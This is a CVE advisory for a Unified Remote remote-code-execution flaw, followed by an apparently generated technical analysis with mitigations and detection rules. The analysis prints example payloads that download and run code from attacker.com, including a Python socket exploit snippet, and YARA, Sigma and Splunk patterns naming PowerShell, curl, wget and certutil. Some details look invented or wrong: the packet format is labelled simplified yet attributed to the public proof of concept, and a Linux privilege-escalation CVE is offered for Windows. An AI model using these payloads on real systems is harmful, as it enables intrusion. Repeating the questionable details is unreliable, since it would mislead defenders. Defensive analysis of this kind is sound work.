CVE-2021-47891
CVE-2021-47891
Weakness (CWE)
CVSS Vector
v4.0- Attack Vector
- Network
- Attack Complexity
- Low
- Attack Requirements
- None
- Privileges Required
- None
- User Interaction
- None
- Confidentiality (Vulnerable)
- High
- Integrity (Vulnerable)
- High
- Availability (Vulnerable)
- High
- Confidentiality (Subsequent)
- None
- Integrity (Subsequent)
- None
- Availability (Subsequent)
- None
Description
Unified Remote 3.9.0.2463 contains a remote code execution vulnerability that allows attackers to send crafted network packets to execute arbitrary commands. Attackers can exploit the service by connecting to port 9512 and sending specially crafted packets to open a command prompt and download and execute malicious payloads.
Comprehensive Technical Analysis of CVE-2021-47891
CVE ID: CVE-2021-47891 CVSS Score: 9.8 (Critical) Vulnerability Type: Remote Code Execution (RCE) Affected Software: Unified Remote 3.9.0.2463 (and potentially earlier versions) Exploitation Vector: Network-based (Unauthenticated)
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
CVE-2021-47891 is a critical remote code execution (RCE) vulnerability in Unified Remote, a popular remote control software that allows users to manage computers via mobile devices. The flaw stems from improper input validation in the network service listening on TCP port 9512, enabling unauthenticated attackers to send crafted packets that trigger arbitrary command execution with the privileges of the running service.
Severity Justification (CVSS 9.8)
The CVSS v3.1 scoring breakdown is as follows:
| Metric | Value | Justification |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely without authentication. |
| Attack Complexity (AC) | Low | No special conditions required; straightforward exploitation. |
| Privileges Required (PR) | None | No prior access or privileges needed. |
| User Interaction (UI) | None | No user interaction required. |
| Scope (S) | Unchanged | Exploit affects the vulnerable component only. |
| Confidentiality (C) | High | Full system compromise possible. |
| Integrity (I) | High | Arbitrary code execution allows data manipulation. |
| Availability (A) | High | Attacker can crash or hijack the service. |
Resulting CVSS Score: 9.8 (Critical) This vulnerability is trivially exploitable over the network, requires no authentication, and allows full system compromise, making it one of the most severe RCE flaws.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Mechanism
The vulnerability is exploited by sending maliciously crafted packets to the Unified Remote service (default port 9512/TCP). The service fails to properly sanitize input, leading to command injection when processing certain packet fields.
Step-by-Step Exploitation Process
-
Discovery & Target Identification
- Attacker scans for hosts with port 9512/TCP open (e.g., using
nmap). - Confirms the service is Unified Remote 3.9.0.2463 (or vulnerable version).
- Attacker scans for hosts with port 9512/TCP open (e.g., using
-
Crafting the Exploit Payload
- The exploit leverages a command injection vulnerability in the packet structure.
- Example payload (simplified):
[MALICIOUS_PACKET_HEADER] cmd=powershell -c "Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\Temp\malware.exe; Start-Process C:\Temp\malware.exe" - The service executes the embedded command without validation.
-
Delivery & Execution
- Attacker sends the crafted packet to the target.
- The service processes the packet and executes the injected command with the privileges of the Unified Remote process (typically SYSTEM or user-level depending on installation).
-
Post-Exploitation
- Attacker gains a reverse shell, downloads additional malware, or performs lateral movement.
- Possible actions:
- Data exfiltration (keylogging, file theft).
- Ransomware deployment.
- Persistence mechanisms (scheduled tasks, registry modifications).
Exploit Availability
- A proof-of-concept (PoC) exploit is publicly available on Exploit-DB (EDB-ID: 49587).
- The exploit is weaponized and can be integrated into Metasploit or custom scripts.
3. Affected Systems & Software Versions
Vulnerable Software
- Unified Remote 3.9.0.2463 (confirmed vulnerable).
- Potentially earlier versions (unconfirmed, but likely affected due to lack of input validation in legacy code).
Affected Platforms
- Windows (primary target, as Unified Remote is widely used on Windows).
- Linux/macOS (if the vulnerable service is running, though less common).
Detection Methods
- Network Scanning:
nmap -p 9512 --script banner <target_IP>- If the service responds with a Unified Remote banner, it may be vulnerable.
- Version Check:
- Check the Unified Remote version via the GUI or service logs.
- Exploit Simulation:
- Use the PoC exploit in a controlled environment to verify vulnerability.
4. Recommended Mitigation Strategies
Immediate Actions (Short-Term)
-
Disable the Unified Remote Service
- Stop and disable the service until a patch is applied.
- Windows:
Stop-Service -Name "Unified Remote" Set-Service -Name "Unified Remote" -StartupType Disabled - Linux:
sudo systemctl stop unifiedremote sudo systemctl disable unifiedremote
-
Network-Level Protections
- Block port 9512/TCP at the firewall (ingress/egress).
- Segment the network to prevent lateral movement if exploited.
- Use IPS/IDS to detect and block exploit attempts (e.g., Snort/Suricata rules).
-
Apply Workarounds
- If disabling the service is not feasible, restrict access to trusted IPs only.
- Monitor network traffic for suspicious activity on port 9512.
Long-Term Remediation
-
Apply Vendor Patch
- Upgrade to the latest version of Unified Remote (if available).
- Check the official download page for updates.
-
Implement Least Privilege
- Run the Unified Remote service with minimal privileges (not as SYSTEM).
- Use AppLocker/WDAC to restrict execution of unauthorized binaries.
-
Enhance Monitoring & Logging
- Enable Windows Event Logging for process execution (Event ID 4688).
- Deploy EDR/XDR solutions (e.g., CrowdStrike, SentinelOne) to detect anomalous behavior.
- Set up SIEM alerts for suspicious command executions.
-
Network Hardening
- Disable unnecessary services and close unused ports.
- Implement Zero Trust principles to limit exposure.
5. Impact on the Cybersecurity Landscape
Exploitation Trends
-
High Risk of Mass Exploitation:
- The low attack complexity and public PoC make this an attractive target for script kiddies, ransomware groups, and APTs.
- Likely to be weaponized in automated attacks (e.g., botnets, exploit kits).
-
Targeted Attacks:
- Corporate environments using Unified Remote for IT management are at high risk.
- Home users with exposed services may be targeted for botnet recruitment.
Broader Implications
- Supply Chain Risks:
- If Unified Remote is used in managed service providers (MSPs), a single compromise could lead to widespread breaches.
- IoT & Remote Management Risks:
- Highlights the dangers of unsecured remote administration tools, which are increasingly targeted.
- Regulatory & Compliance Impact:
- Organizations failing to patch may violate GDPR, HIPAA, or PCI-DSS due to lack of due diligence.
Historical Context
- Similar vulnerabilities in remote administration tools (e.g., TeamViewer, AnyDesk, VNC) have led to large-scale breaches.
- CVE-2019-11510 (Pulse Secure VPN RCE) and CVE-2021-44228 (Log4Shell) demonstrate how unpatched RCE flaws can have global impact.
6. Technical Details for Security Professionals
Root Cause Analysis
- Vulnerability Type: Command Injection (CWE-77)
- Affected Component: Unified Remote’s network service (listening on port 9512).
- Flaw: The service fails to sanitize user-supplied input in packet fields, allowing arbitrary command execution via:
- Direct command injection (e.g.,
cmd=whoami). - Reverse shell payloads (e.g., PowerShell, Bash, Netcat).
- File download & execution (e.g.,
certutil,Invoke-WebRequest).
- Direct command injection (e.g.,
Exploit Technical Breakdown
-
Packet Structure Analysis
- Unified Remote uses a custom binary protocol for communication.
- The exploit manipulates specific packet fields (e.g.,
command,args) to inject malicious payloads.
-
Proof-of-Concept (PoC) Walkthrough
- The Exploit-DB PoC (EDB-ID: 49587) demonstrates:
- Unauthenticated RCE via a single crafted packet.
- Reverse shell establishment using PowerShell.
- Example exploit snippet (Python):
import socket target = "192.168.1.100" port = 9512 payload = b"\x00\x00\x00\x00" + b"cmd=powershell -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload) s.close()
- The Exploit-DB PoC (EDB-ID: 49587) demonstrates:
-
Post-Exploitation Techniques
- Privilege Escalation:
- If the service runs as SYSTEM, the attacker gains full control.
- If running as a user, token impersonation or local privilege escalation (e.g., CVE-2021-4034) may be used.
- Persistence:
- Scheduled tasks, registry autorun, or WMI subscriptions.
- Lateral Movement:
- Pass-the-Hash, Kerberoasting, or SMB exploitation.
- Privilege Escalation:
Detection & Forensics
- Network Indicators:
- Unusual outbound connections from the Unified Remote host (e.g., to attacker-controlled C2 servers).
- Suspicious command executions (e.g.,
powershell,cmd.exe /c,certutil).
- Host-Based Indicators:
- Unexpected child processes of the Unified Remote service.
- Newly created files in
C:\Temp\or%APPDATA%. - Windows Event Logs (Event ID 4688 for process creation).
- YARA Rules for Malware Detection:
rule UnifiedRemote_RCE_Exploit { meta: description = "Detects Unified Remote RCE exploit attempts" author = "Cybersecurity Analyst" reference = "CVE-2021-47891" strings: $cmd_injection = /cmd=(powershell|cmd\.exe|bash|sh|wget|curl|certutil)/ nocase $packet_header = { 00 00 00 00 ?? ?? ?? ?? } condition: $packet_header at 0 and $cmd_injection }
Defensive Recommendations for Blue Teams
- Implement Network Segmentation
- Isolate Unified Remote servers from critical internal networks.
- Deploy Deception Technologies
- Use honeypots to detect exploitation attempts.
- Enhance Endpoint Detection
- EDR/XDR solutions should monitor for:
- Unusual process execution from
UnifiedRemote.exe. - Suspicious PowerShell/Bash commands.
- Unusual process execution from
- EDR/XDR solutions should monitor for:
- Threat Hunting Queries
- Splunk/ELK Query Example:
index=windows EventCode=4688 ParentProcessName="*UnifiedRemote*" | search CommandLine="*powershell* -c *" OR CommandLine="*cmd.exe /c *" - Sigma Rule Example:
title: Unified Remote RCE Exploitation Attempt id: 12345678-1234-5678-1234-567812345678 status: experimental description: Detects command injection attempts in Unified Remote references: - https://www.exploit-db.com/exploits/49587 author: SOC Team date: 2026/01/23 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: '\UnifiedRemote.exe' CommandLine|contains: - 'powershell -c' - 'cmd.exe /c' - 'certutil' - 'Invoke-WebRequest' condition: selection falsepositives: - Legitimate remote administration level: high
- Splunk/ELK Query Example:
Conclusion
CVE-2021-47891 represents a critical, easily exploitable RCE vulnerability in Unified Remote, posing a severe risk to organizations and individuals using the software. Given the public PoC, low attack complexity, and high impact, immediate action is required to patch, mitigate, and monitor for exploitation attempts.
Key Takeaways for Security Teams: ✅ Patch immediately (if an update is available). ✅ Disable the service if patching is not possible. ✅ Block port 9512 at the firewall. ✅ Monitor for exploitation using EDR/SIEM. ✅ Assume breach and hunt for post-exploitation activity.
Failure to address this vulnerability could result in full system compromise, data breaches, and ransomware attacks. Organizations should treat this as a high-priority security incident and respond accordingly.